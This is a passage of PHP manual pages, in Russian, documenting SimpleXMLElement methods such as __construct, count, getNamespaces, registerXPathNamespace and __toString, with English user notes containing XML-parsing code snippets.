.daughter.son.daughter.name = Liah
taylorbarstow at that google mail thingy 21-Apr-2006 07:38
Sometimes you actually want an array, not a pseudo array.   This is especially true when you aren't dealing with attributes (i.e., you just want the array of child nodes).

Do like this:

<?php
$children = $sxml->xpath('child::node()');
?>

The reason you might want this is to be able to use array functions like array_shift, array_pop, etc.  This is especially true when you are writing recursive functions.  Simplexml works really well in iterative programming, but if you try to implement recursion it gets ugly.
Sebastian 27-Oct-2005 03:45
Just a quick addition:

If you need to access a child node which contains a dash, you need to encapsulate it with {""}.

For example:
<?php
foreach ($domain->domain-listing as $product) {
}
?>

The example above doesn't work because of the dash. But instead you need to use:
<?php
foreach ($domain->{"domain-listing"} as $product) {
}
?>

At least for me the second example works perfectly fine.
no-one 31-May-2005 06:05
For anyone who hasn't read Sterling Hughe's article (http://www.zend.com/php5/articles/php5-simplexml.php):

<?php
$xml_document =<<<EOT
<?xml version="1.0"?>
<root xmlns:foo="http://example.com">
  <foo:bar>baz</foo:bar>
</root>
EOT;

$xml_document = simplexml_load_xml($xml_document);

$foo_ns_bar = $xml_document->children('http://example.com');

echo $foo_ns_bar->bar[0]; // prints 'baz'
?>
Andrew Rose (rose dot andrew at gmail dot com) 16-Mar-2005 04:48
The example below shows the basic use of depth-first recursion to span the xml tree.

This is coded for the command line, and it prints out the original sentance above and then the copy cat sentence it creates itself for comparison, which as you will see; this example is slightly off from, I'll leave it upto you to resolve this issue.

All in all I personaly think xml and recursion go hand in hand, so if you don't understand recursion but know xml and want to use php to manipulate xml you will need to learn about recursion at some point.

<?php
$xml = simplexml_load_string(
'<person>
 <child role="son">
  <child role="daughter"/>
 </child>
 <child role="daughter">
  <child role="son">
   <child role="son"/>
  </child>
 </child>
</person>');

function recurse($child)
 {
   foreach($child->children() as $children) {
     echo ' who begot a '.$children['role'];
     recurse($children);
   }
    return;
 }

foreach($xml->children() as $children) {
 echo 'The person begot a '.$children['role'];
  recurse($children, 0);
 echo '; ';
}

echo "\n";
echo 'The person begot a son who begot a daughter; The person begot a daughter who begot a son; and that son begot a son'."\n";

?>
zyxwvu at users dot sourceforge dot net 15-Feb-2004 10:32
File:

<category>
  <item>text</item>
  <bold>text</bold>
  <item>text</item>
  <item>text</item>
  <mark>text</mark>
  <bold>text</bold>
</category>

If you want to get also names of the tags, you can use this loop layout:

<?php
foreach($category -> children() as $name => $node){
  echo $name.'<br/>';
}
?>


Создаёт новый объект SimpleXMLElement

  • « SimpleXMLElement::children
  • SimpleXMLElement::count »
  • PHP Manual
  • SimpleXMLElement
  • Создаёт новый объект SimpleXMLElement

SimpleXMLElement::__construct

(PHP 5, PHP 7, PHP 8)

SimpleXMLElement::__construct — Создаёт новый объект SimpleXMLElement

Описание

public SimpleXMLElement::__construct(
string $data,
int $options = 0,
bool $dataIsURL = false,
string $namespaceOrPrefix = "",
bool $isPrefix = false
)

Создаёт новый объект SimpleXMLElement.

Список параметров

data

Правильно сформированная XML-строка, путь или URL к XML-документу, если значение параметра dataIsURL равно true.

options

Необязательный параметр, определяет дополнительные параметры модуля Libxml, которые влияют на чтение XML-документов. Параметры, которые влияют на вывод XML-документов (например, LIBXML_NOEMPTYTAG), без предупреждения игнорируются.

Замечание:

Когда нужна обработка XML-документа с глубокой вложенностью или большого текстового узла, передают константу LIBXML_PARSEHUGE.

dataIsURL

По умолчанию для параметра dataIsURL установлено значение false. Используйте true, чтобы указать, что данные data — путь или URL к XML-документу, а не данные с типом string.

namespaceOrPrefix

Префикс пространства имён или URI.

isPrefix

Значение true, если значение параметра namespaceOrPrefix — префикс, false, если это URI; по умолчанию — false.

Ошибки

Метод выдаёт сообщение об ошибке уровня E_WARNING для каждой ошибки, которую метод нашёл в XML-данных, и дополнительно выбрасывает исключение Exception, если данные XML невозможно разобрать.

Подсказка

Для подавления XML-ошибок вызывают функцию libxml_use_internal_errors(), а для дальнейшей итерации по ошибкам — libxml_get_errors().

Примеры

Замечание:

Перечисленные примеры могут включать файл example.php, который содержит XML-строку, найденную в первом примере краткого руководства по основам работы с модулем SimpleXML.

Пример #1 Создание объекта SimpleXMLElement

<?php

include 'example.php';

$sxe = new SimpleXMLElement($xmlstr);
echo $sxe->movie[0]->title;

?>

Результат выполнения приведённого примера:

PHP: Появление Парсера

Пример #2 Создание объекта SimpleXMLElement из URL-адреса

<?php

$sxe = new SimpleXMLElement('http://example.org/document.xml', 0, true);
echo $sxe->asXML();

?>

Смотрите также

  • Основы работы с модулем SimpleXML
  • simplexml_load_string() - Интерпретирует строку с XML в объект
  • simplexml_load_file() - Интерпретирует XML-файл в объект
  • Работа с ошибками XML
  • libxml_use_internal_errors() - Отключение ошибок libxml и передача полномочий по выборке и обработке информации об ошибках пользователю
  • libxml_set_streams_context() - Установка контекста потоков для следующей загрузки или записи документа посредством libxml

User Contributed Notes

info at ensostudio dot ru 20-Aug-2021 04:22
Extended SimpleXMLElement:
<?php
class XmlElement extends \SimpleXMLElement
{
    public static function factory(string $root): self
    {
        return new static('<?xml version="1.0" encoding="UTF-8"?><'.$root.'/>', LIBXML_BIGLINES | LIBXML_COMPACT);
    }

    /**
      * @param iterable $attributes An array of element attributes as name/value pairs
      * @return $this
      */
    public function addAttributes(iterable $attributes)
    {
        foreach ($attributes as $name => $value) {
            $this->addAttribute($name, $value);
        }

        return $this;
    }

    /**
      * @param string $name The sub-element name
      * @param string|array|null $valueOrAttributes The sub-element value or an array of attributes
      * @param string|null $namespace The sub-element namespace
      * @return static|null
      */
    public function addChild($name, $valueOrAttributes = null, $namespace = null)
    {
        if (is_array($valueOrAttributes)) {
            $child = parent::addChild($name, null, $namespace);
            foreach ($valueOrAttributes as $name => $value) {
                $child->addAttribute($name, $value);
            }
        } else {
            $child = parent::addChild($name, $valueOrAttributes, $namespace);
        }

        return $child;
    }

    /**
      * @param iterable $childs An array of sub-elements as name/value(or attributes) pairs
      * @return $this
      */
    public function addChilds(iterable $childs)
    {
        foreach ($childs as $name => $value) {
            $this->addChild($name, $value);
        }

        return $this;
    }
}
?>
rowan dot collins at gmail dot com 22-Apr-2017 03:23
The manual doesn't really explain what the $ns argument (and the accompanying $is_prefix) are for.

What they do is similar to the ->children() method: they set the context of the returned object to that namespace, so that access via ->elementName and ['attributeName'] refer to elements and attributes in that namespace.

In particular, they do *not* change the namespaces which exist on the document.

See this example:

<?php
// This XML contains two elements called <child>
// One is in the namespace http://example.com, with local prefix 'ws'
// The other has no namespace (no prefix, and no default namespace declared)
$xml = '<ws:example xmlns:ws="http://example.com"><child>Not in namespace</child><ws:child>In example namespace</ws:child></ws:example>';

$sx0 = new SimpleXMLElement($xml, 0, false);
$sx1 = new SimpleXMLElement($xml, 0, false, 'http://example.com');
$sx2 = new SimpleXMLElement($xml, 0, false, 'ws', true);

echo "
    Without: {$sx0->child}
    By namespace: {$sx1->child}
    By prefix: {$sx2->child}
";
?>

Output:

 Without: Not in namespace
 By namespace: In example namespace
 By prefix: In example namespace
ahmad dot mayahi at gmail dot com 07-Jun-2016 09:36
You won't be able to load an XML file without root element:

//This will throw an exception
$xml = new SimpleXMLElement('<?xml version="1.0" encoding="UTF-8"?>', null, false);

//Here is the solution
$xml = new SimpleXMLElement('<?xml version="1.0" encoding="UTF-8"?><root></root>', null, false);
Phil Cross 01-Sep-2014 11:39
It's worth noting, that you need to typecast dynamic property names to string in order to retrieve there value, for example:

<?php
    $xml = new SimpleXMLElement('records.xml', 0, true);

    // This will work as expected because its a hard coded property value
    foreach($xml as $record){
        echo $record->id;    // Will output the ID fine
    }

    // Dynamic properties require typecasting to string
    $xml_field = 'id';
    foreach($xml as $record){

        // This will dump a SimpleXMLElement object
        var_dump($record->$xml_field);

        // This will output the value as expected
        echo (string)$record->$xml_field;
    }
?>
bertolini dot cedric at me dot com 16-Jun-2014 11:07
It's worth noting that the behavior of SimpleXmlElement::__construct is not exactly the same as simplexml_load_string, regarding libxml_use_internal_errors().

In my case,

<?php
libxml_use_internal_errors(true);
new \SimpleXmlElement($data);
?>

was still throwing error. But as soon as I switched to

<?php
libxml_use_internal_errors(true);
simplexml_load_string($data);
?>

everything worked fine and I stopped getting an error.
kumarldh at gmail dot com 22-Mar-2011 10:50
Using libxml_use_internal_errors() may suppress errors but Exception still requires decent handling. I used following code snippet.

<?php
libxml_use_internal_errors(true);
try{
    $xmlToObject = new SimpleXMLElement($notSoWellFormedXML);
} catch (Exception $e){
    echo 'Please try again later...';
    exit();
}
?>
uramihsayibok, gmail, com 16-Aug-2009 06:52
As I was filling out a bug report, I realized why (speculation here) the constructor is final: so that functions like simplexml_load_file and simplexml_load_string can work. I imagine the PHP-ized code looks something like

<?php

function simplexml_load_file($filename, $class_name = "SimpleXMLElement", $options = 0, $ns = "", $is_prefix = false) {
    return new $class_name($filename, $options, true, $ns, $is_prefix);
}

?>

If we were to use a different $class_name and change the constructor's definition these functions wouldn't work.

There's no easy, sensible solution that keeps simplexml_load_file and simplexml_load_string.
tudor at culise dot net 20-Nov-2007 03:35
This class is extendable, but it's too bad that its constructor cannot be overriden (PHP says it's a final method). Thus the class should be wrapped using the delegation principle rather that extended.


Подсчитывает количество дочерних элементов у текущего элемента

  • « SimpleXMLElement::__construct
  • SimpleXMLElement::current »
  • PHP Manual
  • SimpleXMLElement
  • Подсчитывает количество дочерних элементов у текущего элемента

SimpleXMLElement::count

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SimpleXMLElement::count — Подсчитывает количество дочерних элементов у текущего элемента

Описание

public SimpleXMLElement::count(): int

Этот метод подсчитывает количество дочерних элементов у текущего элемента.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает число элементов у текущего элемента.

Примеры

Пример #1 Подсчёт количества дочерних элементов

<?php
$xml = <<<EOF
<people>
<person name="Человек 1">
<child/>
<child/>
<child/>
</person>
<person name="Человек 2">
<child/>
<child/>
<child/>
<child/>
<child/>
</person>
</people>
EOF;

$elem = new SimpleXMLElement($xml);

foreach ($elem as $person) {
printf("%s имеет %d детей.\n", $person['name'], $person->count());
}
?>

Результат выполнения приведённого примера:

Человек 1 имеет 3 детей.
Человек 2 имеет 5 детей.

Смотрите также

  • SimpleXMLElement::children() - Находит дочерние элементы данного узла

User Contributed Notes

daniel dot erni at focusedpublishing dot com 22-Mar-2011 08:37
Alternative code for PHP < 5.3:
<?php
$count = $node->count(); // PHP > 5.3
$count = count($node->children()); // PHP < 5.3
?>


Возвращает текущий элемент

  • « SimpleXMLElement::count
  • SimpleXMLElement::getDocNamespaces »
  • PHP Manual
  • SimpleXMLElement
  • Возвращает текущий элемент

SimpleXMLElement::current

(Информация о версии неизвестна, возможно, только в Git)

SimpleXMLElement::current — Возвращает текущий элемент

Описание

public SimpleXMLElement::current(): SimpleXMLElement
Внимание

До версии PHP 8.0 метод SimpleXMLElement::current() был объявлен только для дочернего класса SimpleXMLIterator.

Метод возвращает текущий элемент в виде объекта SimpleXMLElement.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает текущий элемент в виде объекта SimpleXMLElement.

Ошибки

Выбрасывает Error в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Если SimpleXMLElement::current() вызывается на некорректном итераторе, то теперь выдаётся ошибка Error; ранее возвращалось значение null.

Примеры

Пример #1 Возврат текущего элемента

<?php
$xmlElement = new SimpleXMLElement('<books><book>PHP basics</book><book>XML basics</book></books>');
var_dump($xmlIElement->current());

$xmlElement->rewind(); // перемотка к первому элементу, иначе current() не будет работать
?>

Результат выполнения приведённого примера:

object(SimpleXMLElement)#2 (1) {
  [0]=>
  string(10) "PHP basics"
}

Смотрите также

  • SimpleXMLElement::key() - Возвращает имя XML-тега текущего элемента
  • SimpleXMLElement::next() - Переход к следующему элементу
  • SimpleXMLElement::rewind() - Перемотка к первому элементу
  • SimpleXMLElement::valid() - Проверяет, является ли текущий элемент корректным
  • SimpleXMLElement

User Contributed Notes

There are no user contributed notes for this page.


Возвращает пространства имён, объявленные в документе

  • « SimpleXMLElement::current
  • SimpleXMLElement::getName »
  • PHP Manual
  • SimpleXMLElement
  • Возвращает пространства имён, объявленные в документе

SimpleXMLElement::getDocNamespaces

(PHP 5 >= 5.1.2, PHP 7, PHP 8)

SimpleXMLElement::getDocNamespaces — Возвращает пространства имён, объявленные в документе

Описание

public SimpleXMLElement::getDocNamespaces(bool $recursive = false, bool $fromRoot = true): array|false

Возвращает пространства имён, объявленные в документе

Список параметров

recursive

Если указано, то возвращает все объявленные пространства имён у родительского узла и его дочерних элементов. В противном случае, возвращает только объявленное пространство имён корневого узла.

fromRoot

Позволяет рекурсивно проверить пространства имён у дочернего узла вместо корневого узла XML документа.

Возвращаемые значения

Метод getDocNamespaces возвращает массив (array) с названиями пространств имён и связанными с ними URI.

Примеры

Пример #1 Получение пространства имён документа

<?php

$xml = <<<XML
<?xml version="1.0" standalone="yes"?>
<people xmlns:p="http://example.org/ns">
<p:person id="1">John Doe</p:person>
<p:person id="2">Susie Q. Public</p:person>
</people>
XML;

$sxe = new SimpleXMLElement($xml);

$namespaces = $sxe->getDocNamespaces();
var_dump($namespaces);

?>

Результат выполнения приведённого примера:

array(1) {
   ["p"]=>
   string(21) "http://example.org/ns"
}

Пример #2 Работа с несколькими пространствами имён

<?php

$xml = <<<XML
<?xml version="1.0" standalone="yes"?>
<people xmlns:p="http://example.org/ns" xmlns:t="http://example.org/test">
<p:person t:id="1">John Doe</p:person>
<p:person t:id="2" a:addr="123 Street" xmlns:a="http://example.org/addr">
Susie Q. Public
</p:person>
</people>
XML;

$sxe = new SimpleXMLElement($xml);

$namespaces = $sxe->getDocNamespaces(TRUE);
var_dump($namespaces);

?>

Результат выполнения приведённого примера:

array(3) {
  ["p"]=>
  string(21) "http://example.org/ns"
  ["t"]=>
  string(23) "http://example.org/test"
  ["a"]=>
  string(23) "http://example.org/addr"
}

Смотрите также

  • SimpleXMLElement::getNamespaces() - Возвращает пространства имён, используемые в документе
  • SimpleXMLElement::registerXPathNamespace() - Создаёт префикс/пространство имён контекста для следующего запроса XPath

User Contributed Notes

There are no user contributed notes for this page.


Получает имя элемента XML

  • « SimpleXMLElement::getDocNamespaces
  • SimpleXMLElement::getNamespaces »
  • PHP Manual
  • SimpleXMLElement
  • Получает имя элемента XML

SimpleXMLElement::getName

(PHP 5 >= 5.1.3, PHP 7, PHP 8)

SimpleXMLElement::getName — Получает имя элемента XML

Описание

public SimpleXMLElement::getName(): string

Получает имя элемента XML.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Метод getName возвращает имя тега XML в виде строки (string), на который ссылается объект SimpleXMLElement.

Примеры

Замечание:

Перечисленные примеры могут включать example.php, в котором определяется XML-строка, расположенная в первом примере руководства по базовому использованию.

Пример #1 Получение имён XML-элемента

<?php
include 'example.php';
$sxe = new SimpleXMLElement($xmlstr);

echo $sxe->getName() . "\n";

foreach ($sxe->children() as $child)
{
echo $child->getName() . "\n";
}

?>

Результат выполнения приведённого примера:

movies
movie

User Contributed Notes

There are no user contributed notes for this page.


Возвращает пространства имён, используемые в документе

  • « SimpleXMLElement::getName
  • SimpleXMLElement::getChildren »
  • PHP Manual
  • SimpleXMLElement
  • Возвращает пространства имён, используемые в документе

SimpleXMLElement::getNamespaces

(PHP 5 >= 5.1.2, PHP 7, PHP 8)

SimpleXMLElement::getNamespaces — Возвращает пространства имён, используемые в документе

Описание

public SimpleXMLElement::getNamespaces(bool $recursive = false): array

Возвращает пространства имён, используемые в документе

Список параметров

recursive

Если указано, то возвращает все используемые пространства имён у родительского узла и его дочерних элементов. В противном случае возвращает только используемое пространство имён корневого узла.

Возвращаемые значения

Метод getNamespaces возвращает массив (array) с названиями пространств имён и связанными с ними URI.

Примеры

Пример #1 Получение пространств имён, используемых в документе

<?php

$xml = <<<XML
<?xml version="1.0" standalone="yes"?>
<people xmlns:p="http://example.org/ns" xmlns:t="http://example.org/test">
<p:person id="1">John Doe</p:person>
<p:person id="2">Susie Q. Public</p:person>
</people>
XML;

$sxe = new SimpleXMLElement($xml);

$namespaces = $sxe->getNamespaces(true);
var_dump($namespaces);

?>

Результат выполнения приведённого примера:

array(1) {
  ["p"]=>
  string(21) "http://example.org/ns"
}

Смотрите также

  • SimpleXMLElement::getDocNamespaces() - Возвращает пространства имён, объявленные в документе
  • SimpleXMLElement::registerXPathNamespace() - Создаёт префикс/пространство имён контекста для следующего запроса XPath

User Contributed Notes

thiago at osfeio dot com 29-Oct-2013 04:23
this article has more info : http://www.sitepoint.com/parsing-xml-with-simplexml/
harry at nospam dot thestorm dot plus dot com 17-Feb-2012 02:21
If the namespace is nested in the xml, then you will have to loop over the nodes.

<?php

$xml = <<<XML
<?xml version="1.0" encoding="UTF-8"?>
  <people xmlns:p="http://example.org/ns" xmlns:t="http://example.org/test">
      <items>
            <title>This is a test of namespaces and my patience</title>
            <p:person id="1">John Doe</p:person>
            <p:person id="2">Susie Q. Public</p:person>
            <p:person id="1">Fish Man</p:person>
      </items>
  </people>
XML;

$sxe = new SimpleXMLElement($xml);

foreach ($sxe as $out_ns)
{
    $ns = $out_ns->getNamespaces(true);

    $child = $out_ns->children($ns['p']);

    foreach ($child as $out)
    {
        echo $out . "<br />";
    }
}
?>
harry at nospam dot thestorm dot plus dot com 16-Feb-2012 12:50
To read a namespace node you have to use the children method.

<?php

$xml = <<<XML
<?xml version="1.0" encoding="UTF-8"?>
<people xmlns:p="http://example.org/ns" xmlns:t="http://example.org/test">
    <p:person id="1">John Doe</p:person>
    <p:person id="2">Susie Q. Public</p:person>
</people>
XML;

$sxe = new SimpleXMLElement($xml);

$ns = $sxe->getNamespaces(true);

$child = $sxe->children($ns['p']);

foreach ($child->person as $out_ns)
{
    echo $out_ns;
}

?>


Возвращает дочерние элементы текущего элемента

  • « SimpleXMLElement::getNamespaces
  • SimpleXMLElement::hasChildren »
  • PHP Manual
  • SimpleXMLElement
  • Возвращает дочерние элементы текущего элемента

SimpleXMLElement::getChildren

(Информация о версии неизвестна, возможно, только в Git)

SimpleXMLElement::getChildren — Возвращает дочерние элементы текущего элемента

Описание

public SimpleXMLElement::getChildren(): ?SimpleXMLElement
Внимание

До версии PHP 8.0 метод SimpleXMLElement::getChildren() был объявлен только для дочернего класса SimpleXMLIterator.

Метод возвращает объект SimpleXMLElement, содержащий дочерние элементы текущего элемента SimpleXMLElement.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает объект SimpleXMLElement, содержащий дочерние элементы текущего элемента.

Примеры

Пример #1 Возвращение дочерних элементов текущего элемента

<?php
$xml = <<<XML
<books>
<book>
<title>PHP Basics</title>
<author>Jim Smith</author>
</book>
<book>XML basics</book>
</books>
XML;

$xmlElement = new SimpleXMLElement($xml);
for ($xmlElement->rewind(); $xmlElement->valid(); $xmlElement->next()) {
foreach($xmlElement->getChildren() as $name => $data) {
echo "Значением $name является '$data' из класса " . get_class($data) . "\n";
}
}
?>

Результат выполнения приведённого примера:

Значением title является 'PHP Basics' из класса SimpleXMLElement
Значением author является 'Jim Smith' из класса SimpleXMLElement

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, имеет ли текущий элемент дочерние элементы

  • « SimpleXMLElement::getChildren
  • SimpleXMLElement::key »
  • PHP Manual
  • SimpleXMLElement
  • Проверяет, имеет ли текущий элемент дочерние элементы

SimpleXMLElement::hasChildren

(Информация о версии неизвестна, возможно, только в Git)

SimpleXMLElement::hasChildren — Проверяет, имеет ли текущий элемент дочерние элементы

Описание

public SimpleXMLElement::hasChildren(): bool
Внимание

До версии PHP 8.0 метод SimpleXMLElement::hasChildren() был объявлен только для дочернего класса SimpleXMLIterator.

Метод проверяет, имеет ли текущий элемент SimpleXMLElement дочерние элементы.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true, если текущий элемент имеет дочерние элементы, в противном случае возвращает false.

Примеры

Пример #1 Проверка наличия у текущего элемента дочерних элементов

<?php
$xml = <<<XML
<books>
<book>
<title>PHP Basics</title>
<author>Jim Smith</author>
</book>
<book>XML basics</book>
</books>
XML;

$xmlElement = new SimpleXMLElement($xml);
for ($xmlElement->rewind(); $xmlElement->valid(); $xmlElement->next()) {
if ($xmlElement->hasChildren()) {
var_dump($xmlElement->current());
}
}
?>

Результат выполнения приведённого примера:

object(SimpleXMLElement)#2 (2) {
  ["title"]=>
  string(10) "PHP Basics"
  ["author"]=>
  string(9) "Jim Smith"
}

User Contributed Notes

There are no user contributed notes for this page.


Возвращает имя XML-тега текущего элемента

  • « SimpleXMLElement::hasChildren
  • SimpleXMLElement::next »
  • PHP Manual
  • SimpleXMLElement
  • Возвращает имя XML-тега текущего элемента

SimpleXMLElement::key

(Информация о версии неизвестна, возможно, только в Git)

SimpleXMLElement::key — Возвращает имя XML-тега текущего элемента

Описание

public SimpleXMLElement::key(): string
Внимание

До версии PHP 8.0 метод SimpleXMLElement::key() был объявлен только для дочернего класса SimpleXMLIterator.

Метод получает имя XML-тега текущего элемента.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает имя XML-тега элемента, на который ссылается текущий объект SimpleXMLElement.

Ошибки

Выбрасывает Error в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | В случае вызова метода SimpleXMLElement::key() на некорректном итераторе теперь выдаётся ошибка Error; ранее возвращалось значение false.

Примеры

Пример #1 Получение текущего ключа XML-тега

<?php
$xmlElement = new SimpleXMLElement('<books><book>PHP basics</book><book>XML basics</book></books>');

echo var_dump($xmlElement->key());
$xmlElement->rewind(); // перемотка к первому элементу
echo var_dump($xmlElement->key());

?>

Результат выполнения приведённого примера:

bool(false)
string(4) "book"

User Contributed Notes

There are no user contributed notes for this page.


Переход к следующему элементу

  • « SimpleXMLElement::key
  • SimpleXMLElement::registerXPathNamespace »
  • PHP Manual
  • SimpleXMLElement
  • Переход к следующему элементу

SimpleXMLElement::next

(Информация о версии неизвестна, возможно, только в Git)

SimpleXMLElement::next — Переход к следующему элементу

Описание

public SimpleXMLElement::next(): void
Внимание

До версии PHP 8.0 метод SimpleXMLElement::next() был объявлен только для дочернего класса SimpleXMLIterator.

Метод перемещает SimpleXMLElement к следующему элементу.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Перейти к следующему элементу

<?php
$xmlElement = new SimpleXMLElement('<books><book>PHP Basics</book><book>XML basics</book></books>');
$xmlElement->rewind(); // перемотка к первому элементу
$xmlElement->next();

var_dump($xmlElement->current());
?>

Результат выполнения приведённого примера:

object(SimpleXMLElement)#2 (1) {
  [0]=>
  string(10) "XML basics"
}

User Contributed Notes

There are no user contributed notes for this page.


Создаёт префикс/пространство имён контекста для следующего запроса XPath

  • « SimpleXMLElement::next
  • SimpleXMLElement::rewind »
  • PHP Manual
  • SimpleXMLElement
  • Создаёт префикс/пространство имён контекста для следующего запроса XPath

SimpleXMLElement::registerXPathNamespace

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

SimpleXMLElement::registerXPathNamespace — Создаёт префикс/пространство имён контекста для следующего запроса XPath

Описание

public SimpleXMLElement::registerXPathNamespace(string $prefix, string $namespace): bool

Создаёт префикс/пространство имён контекста для следующего запроса XPath. В частности это необходимо, если поставщик данного XML-документа изменяет префикс пространства имён. registerXPathNamespace создаст префикс для связанного пространства имён, позволяя получить доступ к узлам в этом пространстве имён без необходимости изменения кода, учитывающего новые префиксы, предоставленные поставщиком.

Список параметров

prefix

Префикс используемого пространства имён в запросе XPath для получения пространства имён в namespace.

namespace

Используемое пространство имён для запроса XPath. Оно должно соответствовать пространству имён в используемом XML-документе или запрос XPath, использующий prefix не даст никаких результатов.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

Примеры

Пример #1 Установка префикса пространства имён для использования в запросе XPath

<?php

$xml = <<<EOD
<book xmlns:chap="http://example.org/chapter-title">
<title>My Book</title>
<chapter id="1">
<chap:title>Chapter 1</chap:title>
<para>Donec velit. Nullam eget tellus vitae tortor gravida scelerisque.
In orci lorem, cursus imperdiet, ultricies non, hendrerit et, orci.
Nulla facilisi. Nullam velit nisl, laoreet id, condimentum ut,
ultricies id, mauris.</para>
</chapter>
<chapter id="2">
<chap:title>Chapter 2</chap:title>
<para>Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Proin
gravida. Phasellus tincidunt massa vel urna. Proin adipiscing quam
vitae odio. Sed dictum. Ut tincidunt lorem ac lorem. Duis eros
tellus, pharetra id, faucibus eu, dapibus dictum, odio.</para>
</chapter>
</book>
EOD;

$sxe = new SimpleXMLElement($xml);

$sxe->registerXPathNamespace('c', 'http://example.org/chapter-title');
$result = $sxe->xpath('//c:title');

foreach ($result as $title) {
echo $title . "\n";
}

?>

Результат выполнения приведённого примера:

Chapter 1
Chapter 2

Обратите внимание, на то, как в примере XML-документу устанавливается пространство имён с префиксом chap. Представьте, что этот документ (или другой похожий) использовал префикс c в прошлом для одного и того же пространства имён. Так как он изменился, запрос XPath больше не вернёт правильных результатов, и запрос придётся изменять. Использование registerXPathNamespace позволяет избежать будущих модификаций запросов, даже если поставщик изменит префикс пространства имён.

Смотрите также

  • SimpleXMLElement::xpath() - Запускает запрос XPath к XML-данным
  • SimpleXMLElement::getDocNamespaces() - Возвращает пространства имён, объявленные в документе
  • SimpleXMLElement::getNamespaces() - Возвращает пространства имён, используемые в документе

User Contributed Notes

Lea Hayes 12-Jan-2011 09:56
Looks like you have to use registerXPathNamespace for each node when using XPath:

<?php
$xml = simplexml_load_file($filename);

$xml->registerXPathNamespace('test', 'http://example.com');

$shopping_element = $xml->xpath('test:shopping-list');

// Breaks with out the following line:

$shopping_element->registerXPathNamespace('test', 'http://example.com');

$fruit = $shopping_element->xpath('test:fruit');
?>


Перемотка к первому элементу

  • « SimpleXMLElement::registerXPathNamespace
  • SimpleXMLElement::saveXML »
  • PHP Manual
  • SimpleXMLElement
  • Перемотка к первому элементу

SimpleXMLElement::rewind

(Информация о версии неизвестна, возможно, только в Git)

SimpleXMLElement::rewind — Перемотка к первому элементу

Описание

public SimpleXMLElement::rewind(): void
Внимание

До версии PHP 8.0 метод SimpleXMLElement::rewind() был объявлен только для дочернего класса SimpleXMLIterator.

Метод перематывает SimpleXMLElement к первому элементу.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Перемотка к первому элементу

<?php
$xmlElement = new SimpleXMLElement('<books><book>PHP Basics</book><book>XML Basics</book></books>');
$xmlElement->rewind();

var_dump($xmlElement->current());
?>

Результат выполнения приведённого примера:

object(SimpleXMLElement)#2 (1) {
  [0]=>
  string(10) "PHP Basics"
}

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним SimpleXMLElement::asXML

  • « SimpleXMLElement::rewind
  • SimpleXMLElement::__toString »
  • PHP Manual
  • SimpleXMLElement
  • Псевдоним SimpleXMLElement::asXML

SimpleXMLElement::saveXML

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

SimpleXMLElement::saveXML — Псевдоним SimpleXMLElement::asXML()

Описание

Псевдоним метода SimpleXMLElement::asXML()

User Contributed Notes

There are no user contributed notes for this page.


Возвращает содержимое строки

  • « SimpleXMLElement::saveXML
  • SimpleXMLElement::valid »
  • PHP Manual
  • SimpleXMLElement
  • Возвращает содержимое строки

SimpleXMLElement::__toString

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SimpleXMLElement::__toString — Возвращает содержимое строки

Описание

public SimpleXMLElement::__toString(): string

Возвращает содержимое строки, находящиеся непосредственно в элементе. Не возвращает текстовый контент дочерних элементов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает содержимое строки в случае успешного выполнения и пустую строку в ином случае.

Примеры

Пример #1 Получить содержимое строки

<?php
$xml = new SimpleXMLElement('<a>1 <b>2 </b>3</a>');
echo $xml;
?>

Результат выполнения приведённого примера:

1 3

Смотрите также

  • SimpleXMLElement::asXML() - Возвращает сформированный XML-документ в виде строки на основе элемента SimpleXML

User Contributed Notes

mmj at example dot net 02-Oct-2017 03:22
__toString() is not intended to be called directly.

Instead, it defines what is returned when the object is cast to string, either explicitly with:

(string)$element

Or implicitly, when used in certain contexts which would cause a conversion to string.
Patanjali 27-Mar-2016 10:55
[Someone remove that other Patanjali's note, because it has errors! :-(]

For those for whom it may not be immediately obvious from the example, the echo is what is forcing __toString() to be used.

However, to assign the text of a node (but not its children) to a variable:

$XML = new SimpleXMLElement('<p>Hello<span> world</span>.<span> Good day!</span></p>');

$Text = $XML->__toString();

is effectively:
$Text = 'Hello.'; // The <span>s are ignored.

Either of:
$Text = $XML->span->__toString();
$Text = $XML->span[0]->__toString();

is effectively:
$Text = ' world'; // Only the first <span> is used.

$Text = $XML->span[1]->__toString();

is effectively:
$Text = ' Good day!'; // Only the second <span> is used.
Patanjali 27-Mar-2016 10:36
For those for whom it may not be immediately obvious from the example, to assign the text of a node (but not its children) to a variable:

$XML = new SimpleXMLElement('<p>Hello<span> world</span>.<span> Good day!</span></p>');

Either:
$Text = $XML;
$Text = $XML->__String();

is effectively:
$Text = 'Hello.'; // The <span>s are ignored.

Either of:
$Text = $XML->span;
$Text = $XML->span[0];

is effectively:
$Text = ' world'; // Only the first <span> is used.

$Text = $XML->span[1];

is effectively:
$Text = ' Good day!'; // Only the second <span> is used.


Проверяет, является ли текущий элемент корректным

  • « SimpleXMLElement::__toString
  • SimpleXMLElement::xpath »
  • PHP Manual
  • SimpleXMLElement
  • Проверяет, является ли текущий элемент корректным

SimpleXMLElement::valid

(Информация о версии неизвестна, возможно, только в Git)

SimpleXMLElement::valid — Проверяет, является ли текущий элемент корректным

Описание

public SimpleXMLElement::valid(): bool
Внимание

До версии PHP 8.0 метод SimpleXMLElement::valid() был объявлен только для дочернего класса SimpleXMLIterator.

